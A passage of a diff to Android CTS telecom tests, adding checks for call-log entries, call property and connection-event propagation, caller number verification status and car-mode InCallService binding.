+ TimeUnit.MILLISECONDS)) {
+ fail("No outgoing call connection requested by Telecom");
+ }
+ } catch (InterruptedException e) {
+ Log.i(TAG, "Test interrupted!");
+ }
+
+ assertThat("Telecom should create outgoing connection for outgoing call",
+ connectionService.outgoingConnections.size(), not(equalTo(0)));
+ Connection connection = getConnection(address);
+ assertNotNull("Could not find outgoing connection in list of active connections.",
+ connection);
+ if (connection instanceof MockConnection) {
+ if (connectionService.outgoingConnections.contains(connection)) {
+ return (MockConnection) connection;
+ }
+ }
+ return null;
+ }
+
MockConnection verifyConnectionForIncomingCall() {
// Assuming only 1 connection present
return verifyConnectionForIncomingCall(0);
@@ -845,10 +954,28 @@
public void verifyCallLogging(CountDownLatch logLatch, boolean isCallLogged, Uri testNumber) {
+ Cursor logCursor = getLatestCallLogCursorIfMatchesUri(logLatch, isCallLogged, testNumber);
if (isCallLogged) {
+ assertNotNull("Call log entry not found for test number", logCursor);
+ }
+ }
+
+ public void verifyCallLogging(Uri testNumber, int expectedLogType) {
+ CountDownLatch logLatch = getCallLogEntryLatch();
+ Cursor logCursor = getLatestCallLogCursorIfMatchesUri(logLatch, true /*isCallLogged*/,
+ testNumber);
+ assertNotNull("Call log entry not found for test number", logCursor);
+ int typeIndex = logCursor.getColumnIndex(CallLog.Calls.TYPE);
+ int type = logCursor.getInt(typeIndex);
+ assertEquals("recorded type does not match expected", expectedLogType, type);
+ }
+
+ public Cursor getLatestCallLogCursorIfMatchesUri(CountDownLatch latch, boolean newLogExpected,
+ Uri testNumber) {
+ if (newLogExpected) {
// Wait for the content observer to report that we have gotten a new call log entry.
try {
- logLatch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ latch.await(WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
} catch (InterruptedException ie) {
fail("Expected log latch");
}
@@ -860,18 +987,15 @@
int numberIndex = callsCursor.getColumnIndex(CallLog.Calls.NUMBER);
if (callsCursor.moveToNext()) {
String number = callsCursor.getString(numberIndex);
- if (isCallLogged) {
- assertEquals(testNumber.getSchemeSpecificPart(), number);
+ if (testNumber.getSchemeSpecificPart().equals(number)) {
+ return callsCursor;
} else {
- assertNotEquals(testNumber.getSchemeSpecificPart(), number);
- }
- } else {
- if (isCallLogged) {
- fail("Blocked call was not logged.");
- } else {
- // Horray! No calls and we didn't expect it to be logged.
+ // Last call log entry doesnt match expected number.
+ return null;
}
}
+ // No Calls
+ return null;
}
void assertNumCalls(final MockInCallService inCallService, final int numCalls) {
@@ -1142,6 +1266,24 @@
);
}
+ void assertCallConnectTimeChanged(final Call call, final long time) {
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return true;
+ }
+
+ @Override
+ public Object actual() {
+ return call.getDetails().getConnectTimeMillis() != time;
+ }
+ },
+ WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "Call have connect time: " + time
+ );
+ }
+
void assertConnectionCallDisplayName(final Connection connection, final String name) {
waitUntilConditionIsTrueOrTimeout(
new Condition() {
@@ -1510,6 +1652,34 @@
);
}
+ MockInCallService getInCallService() {
+ return (mInCallCallbacks == null) ? null : mInCallCallbacks.getService();
+ }
+
+ /**
+ * Asserts that the {@link UiModeManager} mode matches the specified mode.
+ *
+ * @param uiMode The expected ui mode.
+ */
+ public void assertUiMode(final int uiMode) {
+ final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+ waitUntilConditionIsTrueOrTimeout(
+ new Condition() {
+ @Override
+ public Object expected() {
+ return uiMode;
+ }
+
+ @Override
+ public Object actual() {
+ return uiModeManager.getCurrentModeType();
+ }
+ },
+ TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+ "Expected ui mode " + uiMode
+ );
+ }
+
void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
String description) {
final long start = System.currentTimeMillis();
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
index 3a70017..c8463fb 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -16,9 +16,14 @@
package android.telecom.cts;
+import static android.telecom.Connection.PROPERTY_HIGH_DEF_AUDIO;
+import static android.telecom.Connection.PROPERTY_WIFI;
import static android.telecom.cts.TestUtils.*;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.junit.Assert.assertNotEquals;
import static org.junit.Assert.assertThat;
import android.content.Context;
@@ -37,6 +42,7 @@
import android.telecom.PhoneAccountHandle;
import android.telecom.StatusHints;
import android.telecom.TelecomManager;
+import android.telephony.TelephonyManager;
import java.util.Arrays;
import java.util.List;
@@ -48,15 +54,6 @@
*/
public class CallDetailsTest extends BaseTelecomTestWithMockServices {
- /**
- * {@link Connection#PROPERTY_HIGH_DEF_AUDIO} is @hide, so define it here for now.
- */
- public static final int PROPERTY_HIGH_DEF_AUDIO = 1<<2;
-
- /**
- * {@link Connection#PROPERTY_WIFI} is @hide, so define it here for now.
- */
- public static final int PROPERTY_WIFI = 1<<3;
public static final int CONNECTION_PROPERTIES = PROPERTY_HIGH_DEF_AUDIO | PROPERTY_WIFI;
public static final int CONNECTION_CAPABILITIES =
Connection.CAPABILITY_HOLD | Connection.CAPABILITY_MUTE;
@@ -117,6 +114,11 @@
}
}, FLAG_REGISTER | FLAG_ENABLE);
+ // Make sure there is another phone account.
+ mTelecomManager.registerPhoneAccount(TestUtils.TEST_PHONE_ACCOUNT_2);
+ TestUtils.enablePhoneAccount(
+ getInstrumentation(), TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2);
+
/** Place a call as a part of the setup before we test the various
* Call details.
*/
@@ -248,6 +250,50 @@
}
/**
+ * Tests passing call properties from Connections to Calls.
+ */
+ public void testCallPropertyPropagation() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_EMERGENCY_CALLBACK_MODE);
+ assertCallProperties(mCall, Call.Details.PROPERTY_EMERGENCY_CALLBACK_MODE);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_GENERIC_CONFERENCE);
+ assertCallProperties(mCall, Call.Details.PROPERTY_GENERIC_CONFERENCE);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_HIGH_DEF_AUDIO);
+ assertCallProperties(mCall, Call.Details.PROPERTY_HIGH_DEF_AUDIO);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_WIFI);
+ assertCallProperties(mCall, Call.Details.PROPERTY_WIFI);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_IS_EXTERNAL_CALL);
+ assertCallProperties(mCall, Call.Details.PROPERTY_IS_EXTERNAL_CALL);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_HAS_CDMA_VOICE_PRIVACY);
+ assertCallProperties(mCall, Call.Details.PROPERTY_HAS_CDMA_VOICE_PRIVACY);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_IS_DOWNGRADED_CONFERENCE);
+ // Not propagated
+ assertCallProperties(mCall, 0);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_IS_RTT);
+ assertCallProperties(mCall, Call.Details.PROPERTY_RTT);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_ASSISTED_DIALING_USED);
+ assertCallProperties(mCall, Call.Details.PROPERTY_ASSISTED_DIALING_USED);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL);
+ assertCallProperties(mCall, Call.Details.PROPERTY_NETWORK_IDENTIFIED_EMERGENCY_CALL);
+
+ mConnection.setConnectionProperties(Connection.PROPERTY_REMOTELY_HOSTED);
+ // Not propagated
+ assertCallProperties(mCall, 0);
+ }
+
+ /**
* Tests whether the getCallerDisplayName() getter returns the correct object.
*/
public void testCallerDisplayName() {
@@ -419,6 +465,7 @@
exampleExtras.putString(Connection.EXTRA_CHILD_ADDRESS, TEST_CHILD_NUMBER);
exampleExtras.putString(Connection.EXTRA_LAST_FORWARDED_NUMBER, TEST_FORWARDED_NUMBER);
exampleExtras.putInt(TEST_EXTRA_KEY, TEST_EXTRA_VALUE);
+ exampleExtras.putInt(Connection.EXTRA_AUDIO_CODEC, Connection.AUDIO_CODEC_AMR);
mConnection.setExtras(exampleExtras);
// Make sure we got back a bundle with the call subject key set.
@@ -430,6 +477,8 @@
assertEquals(TEST_FORWARDED_NUMBER,
callExtras.getString(Connection.EXTRA_LAST_FORWARDED_NUMBER));
assertEquals(TEST_EXTRA_VALUE, callExtras.getInt(TEST_EXTRA_KEY));
+ assertEquals(Connection.AUDIO_CODEC_AMR,
+ callExtras.getInt(Connection.EXTRA_AUDIO_CODEC));
}
/**
@@ -482,6 +531,7 @@
Bundle testBundle = new Bundle();
testBundle.putString(TEST_EXTRA_KEY, TEST_SUBJECT);
testBundle.putInt(TEST_EXTRA_KEY2, TEST_EXTRA_VALUE);
+ testBundle.putBoolean(Connection.EXTRA_DISABLE_ADD_CALL, true);
mConnection.putExtras(testBundle);
// Wait for the 2nd invocation; setExtras is called in the setup method.
mOnExtrasChangedCounter.waitForCount(2, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
@@ -491,6 +541,18 @@
assertEquals(TEST_SUBJECT, extras.getString(TEST_EXTRA_KEY));
assertTrue(extras.containsKey(TEST_EXTRA_KEY2));
assertEquals(TEST_EXTRA_VALUE, extras.getInt(TEST_EXTRA_KEY2));
+ assertTrue(extras.getBoolean(Connection.EXTRA_DISABLE_ADD_CALL));
+ }
+
+ public void testConnectionHoldTone() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ // These tests are admittedly lame; the events are absorbed in telecom and start a tone and
+ // stop it. There is no other signal that the tone is starting/stopping otherwise.
+ mConnection.sendConnectionEvent(Connection.EVENT_ON_HOLD_TONE_START, null);
+ mConnection.sendConnectionEvent(Connection.EVENT_ON_HOLD_TONE_END, null);
}
/**
@@ -657,6 +719,42 @@
assertNotNull(extras);
assertTrue(extras.containsKey(TEST_EXTRA_KEY));
assertEquals(TEST_SUBJECT, extras.getString(TEST_EXTRA_KEY));
+ mOnConnectionEventCounter.reset();
+
+ mConnection.sendConnectionEvent(Connection.EVENT_CALL_HOLD_FAILED, null);
+ // Don't expect this to make it through; used internally in Telecom.
+
+ mConnection.sendConnectionEvent(Connection.EVENT_MERGE_START, null);
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+ assertEquals(Connection.EVENT_MERGE_START, event);
+ assertNull(extras);
+ mOnConnectionEventCounter.reset();
+
+ mConnection.sendConnectionEvent(Connection.EVENT_MERGE_COMPLETE, null);
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+ assertEquals(Connection.EVENT_MERGE_COMPLETE, event);
+ assertNull(extras);
+ mOnConnectionEventCounter.reset();
+
+ mConnection.sendConnectionEvent(Connection.EVENT_CALL_REMOTELY_HELD, null);
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+ assertEquals(Connection.EVENT_CALL_REMOTELY_HELD, event);
+ assertNull(extras);
+ mOnConnectionEventCounter.reset();
+
+ mConnection.sendConnectionEvent(Connection.EVENT_CALL_REMOTELY_UNHELD, null);
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+ assertEquals(Connection.EVENT_CALL_REMOTELY_UNHELD, event);
+ assertNull(extras);
+ mOnConnectionEventCounter.reset();
}
/**
@@ -782,4 +880,84 @@
features & CallLog.Calls.FEATURES_HD_CALL);
assertEquals(CallLog.Calls.FEATURES_WIFI, features & CallLog.Calls.FEATURES_WIFI);
}
+
+ /**
+ * Verifies operation of the test telecom call ID system APIs.
+ */
+ public void testTelecomCallId() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ mConnection.setTelecomCallId("Hello");
+ assertEquals("Hello", mConnection.getTelecomCallId());
+ }
+
+ /**
+ * Verifies propagation of radio tech extra.
+ */
+ public void testSetCallRadioTech() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ Bundle radioTechExtras = new Bundle();
+ radioTechExtras.putInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE,
+ TelephonyManager.NETWORK_TYPE_LTE);
+ mConnection.putExtras(radioTechExtras);
+
+ assertCallExtras(mCall, TelecomManager.EXTRA_CALL_NETWORK_TYPE);
+ assertEquals(TelephonyManager.NETWORK_TYPE_LTE,
+ mCall.getDetails().getExtras().getInt(TelecomManager.EXTRA_CALL_NETWORK_TYPE));
+ }
+
+ /**
+ * Verifies resetting the connection time.
+ */
+ public void testResetConnectionTime() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ long currentTime = mConnection.getConnectTimeMillis();
+ mConnection.resetConnectionTime();
+
+ // Make sure the connect time isn't the original value.
+ assertCallConnectTimeChanged(mCall, currentTime);
+ }
+
+ /**
+ * Verifies {@link Connection#notifyConferenceMergeFailed()} results in the
+ * {@link Connection#EVENT_CALL_MERGE_FAILED} connection event being received by the telecom
+ * call.
+ */
+ public void testMergeFail() {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ mConnection.notifyConferenceMergeFailed();
+
+ mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+ Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+
+ assertEquals(Connection.EVENT_CALL_MERGE_FAILED, event);
+ assertNull(extras);
+ }
+
+ /**
+ * Verifies {@link Connection#setPhoneAccountHandle(PhoneAccountHandle)} propagates to the
+ * dialer app.
+ */
+ public void testChangePhoneAccount() throws Exception {
+ if (!mShouldTestTelecom) {
+ return;
+ }
+ mConnection.setActive();
+ assertCallState(mCall, Call.STATE_ACTIVE);
+
+ mConnection.setPhoneAccountHandle(TEST_PHONE_ACCOUNT_HANDLE_2);
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE_2, mConnection.getPhoneAccountHandle());
+ mOnPhoneAccountChangedCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+ assertEquals(TEST_PHONE_ACCOUNT_HANDLE_2, mOnPhoneAccountChangedCounter.getArgs(0)[1]);
+ }
}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
index 6ae927b..2fcedf5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallRedirectionServiceTest.java
@@ -35,7 +35,6 @@
import android.telecom.Call;
import android.telecom.PhoneAccount;
-import android.telecom.PhoneAccountHandle;
import android.telecom.cts.redirectiontestapp.CtsCallRedirectionService;
import android.telecom.cts.redirectiontestapp.CtsCallRedirectionServiceController;
import android.telecom.cts.redirectiontestapp.ICtsCallRedirectionServiceController;
@@ -111,7 +110,7 @@
}
mCallRedirectionServiceController.setRedirectCall(
SAMPLE_HANDLE, null, false);
- placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+ placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
mInCallService = mInCallCallbacks.getService();
assertCallGatewayConstructed(mInCallService.getLastCall(), true);
mCall = mInCallService.getLastCall();
@@ -128,7 +127,7 @@
}
mCallRedirectionServiceController.setRedirectCall(
SAMPLE_HANDLE, TestUtils.TEST_PHONE_ACCOUNT_HANDLE_2, false);
- placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+ placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
mInCallService = mInCallCallbacks.getService();
assertCallGatewayConstructed(mInCallService.getLastCall(), true);
mCall = mInCallService.getLastCall();
@@ -143,7 +142,7 @@
return;
}
mCallRedirectionServiceController.setCancelCall();
- placeAndVerifyCall(true /* viaCallRedirection */, true /* cancelledByCallRedirection */);
+ placeAndVerifyCallByRedirection(true /* cancelledByCallRedirection */);
mInCallService = mInCallCallbacks.getService();
mCall = mInCallService.getLastCall();
assertCallNotNull(mCall, false);
@@ -154,7 +153,7 @@
return;
}
mCallRedirectionServiceController.setPlaceCallUnmodified();
- placeAndVerifyCall(true /* viaCallRedirection */, false /* cancelledByCallRedirection */);
+ placeAndVerifyCallByRedirection(false /* cancelledByCallRedirection */);
mInCallService = mInCallCallbacks.getService();
assertCallDetailsConstructed(mInCallService.getLastCall(), true);
mCall = mInCallService.getLastCall();
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
index d959196..72bb778 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallScreeningServiceTest.java
@@ -17,8 +17,8 @@
package android.telecom.cts;
import static android.telecom.cts.TestUtils.shouldTestTelecom;
-import static org.junit.Assert.assertTrue;
+import android.content.ContentResolver;
import android.telecom.cts.MockCallScreeningService.CallScreeningServiceCallbacks;
import android.content.ComponentName;
@@ -27,6 +27,7 @@
import android.os.Bundle;
import android.telecom.Call;
import android.telecom.CallScreeningService;
+import android.telecom.Connection;
import android.telecom.PhoneAccount;
import android.telecom.PhoneAccountHandle;
import android.telecom.TelecomManager;
@@ -58,6 +59,8 @@
private String mPreviousDefaultDialer;
MockConnectionService mConnectionService;
private boolean mCallFound;
+ private ContentResolver mContentResolver;
+ private int mCallerNumberVerificationStatus;
@Override
protected void setUp() throws Exception {
@@ -70,6 +73,7 @@
setupConnectionService();
MockCallScreeningService.enableService(mContext);
}
+ mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
}
@Override
@@ -109,6 +113,87 @@
fail("No call added to CallScreeningService.");
}
+ /**
+ * Tests that when sendinga a CALL intent via the Telecom stack and the test number is in the
+ * user's contact, Telecom binds to the registered {@link CallScreeningService}s and invokes
+ * onScreenCall.
+ */
+ public void testBindsToCallScreeningServiceWhenContactExist() throws Exception {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ CallScreeningServiceCallbacks callbacks = createCallbacks();
+ MockCallScreeningService.setCallbacks(callbacks);
+ Uri contactUri = TestUtils.insertContact(mContentResolver,
+ TEST_NUMBER.getSchemeSpecificPart());
+ addNewIncomingCall(TEST_NUMBER);
+
+ try {
+ if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ assertTrue(mCallFound);
+
+ return;
+ }
+ } catch (InterruptedException e) {
+ } finally {
+ assertEquals(1, TestUtils.deleteContact(mContentResolver, contactUri));
+ }
+
+ fail("No call added to CallScreeningService.");
+ }
+
+ /**
+ * Tests passing of number verification status.
+ */
+ public void testVerificationFailed() {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ CallScreeningServiceCallbacks callbacks = createCallbacks();
+ MockCallScreeningService.setCallbacks(callbacks);
+ addNewIncomingCall(MockConnectionService.VERSTAT_FAILED_NUMBER);
+
+ try {
+ if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ assertTrue(mCallFound);
+ assertEquals(Connection.VERIFICATION_STATUS_FAILED,
+ mCallerNumberVerificationStatus);
+ return;
+ }
+ } catch (InterruptedException e) {
+ }
+ }
+
+ /**
+ * Tests passing of number verification status.
+ */
+ public void testNumberNotVerified() {
+ if (!shouldTestTelecom(mContext)) {
+ return;
+ }
+
+ CallScreeningServiceCallbacks callbacks = createCallbacks();
+ MockCallScreeningService.setCallbacks(callbacks);
+ addNewIncomingCall(MockConnectionService.VERSTAT_NOT_VERIFIED_NUMBER);
+
+ try {
+ if (callbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ assertTrue(mCallFound);
+ assertEquals(Connection.VERIFICATION_STATUS_NOT_VERIFIED,
+ mCallerNumberVerificationStatus);
+ return;
+ }
+ } catch (InterruptedException e) {
+ }
+
+ fail("No call added to CallScreeningService.");
+ }
+
private void addNewIncomingCall(Uri incomingHandle) {
Bundle extras = new Bundle();
extras.putParcelable(TelecomManager.EXTRA_INCOMING_CALL_ADDRESS, incomingHandle);
@@ -120,6 +205,7 @@
@Override
public void onScreenCall(Call.Details callDetails) {
mCallFound = true;
+ mCallerNumberVerificationStatus = callDetails.getCallerNumberVerificationStatus();
CallScreeningService.CallResponse response =
new CallScreeningService.CallResponse.Builder()
.setDisallowCall(true)
diff --git a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
new file mode 100644
index 0000000..7d81184
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
@@ -0,0 +1,389 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.app.UiModeManager;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.content.ServiceConnection;
+import android.content.res.Configuration;
+import android.net.Uri;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.os.RemoteException;
+import android.telecom.TelecomManager;
+import android.telecom.cts.carmodetestapp.ICtsCarModeInCallServiceControl;
+
+import androidx.test.InstrumentationRegistry;
+
+import java.util.concurrent.LinkedBlockingQueue;
+import java.util.concurrent.TimeUnit;
+
+public class CarModeInCallServiceTest extends BaseTelecomTestWithMockServices {
+ private static final int ASYNC_TIMEOUT = 10000;
+ private static final String CARMODE_APP1_PACKAGE = "android.telecom.cts.carmodetestapp";
+ private static final String CARMODE_APP2_PACKAGE = "android.telecom.cts.carmodetestapptwo";
+ private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlOne;
+ private ICtsCarModeInCallServiceControl mCarModeIncallServiceControlTwo;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .adoptShellPermissionIdentity("android.permission.ENTER_CAR_MODE_PRIORITIZED",
+ "android.permission.CONTROL_INCALL_EXPERIENCE");
+
+ mCarModeIncallServiceControlOne = getControlBinder(CARMODE_APP1_PACKAGE);
+ mCarModeIncallServiceControlTwo = getControlBinder(CARMODE_APP2_PACKAGE);
+ setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+
+ final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
+ assertEquals("Device must not be in car mode at start of test.",
+ Configuration.UI_MODE_TYPE_NORMAL, uiModeManager.getCurrentModeType());
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ super.tearDown();
+ if (!mShouldTestTelecom) {
+ return;
+ }
+
+ if (mCarModeIncallServiceControlOne != null) {
+ mCarModeIncallServiceControlOne.reset();
+ }
+
+ if (mCarModeIncallServiceControlTwo != null) {
+ mCarModeIncallServiceControlTwo.reset();
+ }
+
+ assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
+
+ InstrumentationRegistry.getInstrumentation().getUiAutomation()
+ .dropShellPermissionIdentity();
+ }
+
+ /**
+ * Verifies that a car mode InCallService can enter and exit car mode using a priority.
+ */
+ public void testSetCarMode() {
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+ }
+
+ /**
+ * Verifies we bind to a car mode InCallService when a call is started when the device is
+ * already in car mode.
+ */
+ public void testStartCallInCarMode() {
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+
+ // Place a call and verify we bound to the Car Mode InCallService
+ placeCarModeCall();
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+ disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+ }
+
+ /**
+ * Tests a scenario where we have two apps enter car mode.
+ * Ensures that the higher priority app is bound and receives information about the call.
+ * When the higher priority app leaves car mode, verifies that the lower priority app is bound
+ * and receives information about the call.
+ */
+ public void testStartCallInCarModeTwoServices() {
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+ enableAndVerifyCarMode(mCarModeIncallServiceControlTwo, 999);
+
+ // Place a call and verify we bound to the Car Mode InCallService
+ placeCarModeCall();
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+ // Now disable car mode in the higher priority service
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_CAR);
+ verifyCarModeBound(mCarModeIncallServiceControlTwo);
+ assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+ // Drop the call from the second service.
+ disconnectAllCallsAndVerify(mCarModeIncallServiceControlTwo);
+ }
+
+ /**
+ * Verifies we can switch from the default dialer to the car-mode InCallService when car mode is
+ * enabled.
+ */
+ public void testSwitchToCarMode() {
+ // Place a call and verify it went to the default dialer
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall();
+
+ // Now, enable car mode; should have swapped to the InCallService.
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+ disconnectAllCallsAndVerify(mCarModeIncallServiceControlOne);
+
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+ }
+
+ /**
+ * Similar to {@link #testSwitchToCarMode}, except exits car mode before the call terminates.
+ */
+ public void testSwitchToCarModeAndBack() {
+ // Place a call and verify it went to the default dialer
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall();
+
+ // Now, enable car mode and confirm we're using the car mode ICS.
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 1000);
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+ // Now, disable car mode and confirm we're no longer using the car mode ICS.
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+ verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+
+ // Verify that we did bind back to the default dialer.
+ try {
+ if (!mInCallCallbacks.lock.tryAcquire(TestUtils.WAIT_FOR_CALL_ADDED_TIMEOUT_S,
+ TimeUnit.SECONDS)) {
+ fail("No call added to InCallService.");
+ }
+ } catch (InterruptedException e) {
+ fail("Interupted!");
+ }
+
+ assertEquals(1, mInCallCallbacks.getService().getCallCount());
+ mInCallCallbacks.getService().disconnectAllCalls();
+ }
+
+ /**
+ * Similar to {@link #testSwitchToCarMode}, except enters car mode after the call starts. Also
+ * uses multiple car mode InCallServices.
+ */
+ public void testSwitchToCarModeMultiple() {
+ // Place a call and verify it went to the default dialer
+ placeAndVerifyCall();
+ verifyConnectionForOutgoingCall();
+
+ // Now, enable car mode and confirm we're using the car mode ICS.
+ enableAndVerifyCarMode(mCarModeIncallServiceControlOne, 999);
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+ // Now, enable a higher priority car mode all and confirm we're using it.
+ enableAndVerifyCarMode(mCarModeIncallServiceControlTwo, 1000);
+ verifyCarModeUnbound(mCarModeIncallServiceControlOne);
+ verifyCarModeBound(mCarModeIncallServiceControlTwo);
+ assertCarModeCallCount(mCarModeIncallServiceControlTwo, 1);
+
+ // Disable higher priority, verify we drop back to lower priority.
+ disableAndVerifyCarMode(mCarModeIncallServiceControlTwo, Configuration.UI_MODE_TYPE_CAR);
+ verifyCarModeUnbound(mCarModeIncallServiceControlTwo);
+ verifyCarModeBound(mCarModeIncallServiceControlOne);
+ assertCarModeCallCount(mCarModeIncallServiceControlOne, 1);
+
+ // Finally, disable car mode at the lower priority and confirm we're using the default
+ // dialer once more.
+ disableAndVerifyCarMode(mCarModeIncallServiceControlOne, Configuration.UI_MODE_TYPE_NORMAL);
+ verifyCarModeUnbound(mCarModeIncallServiceControlOne);
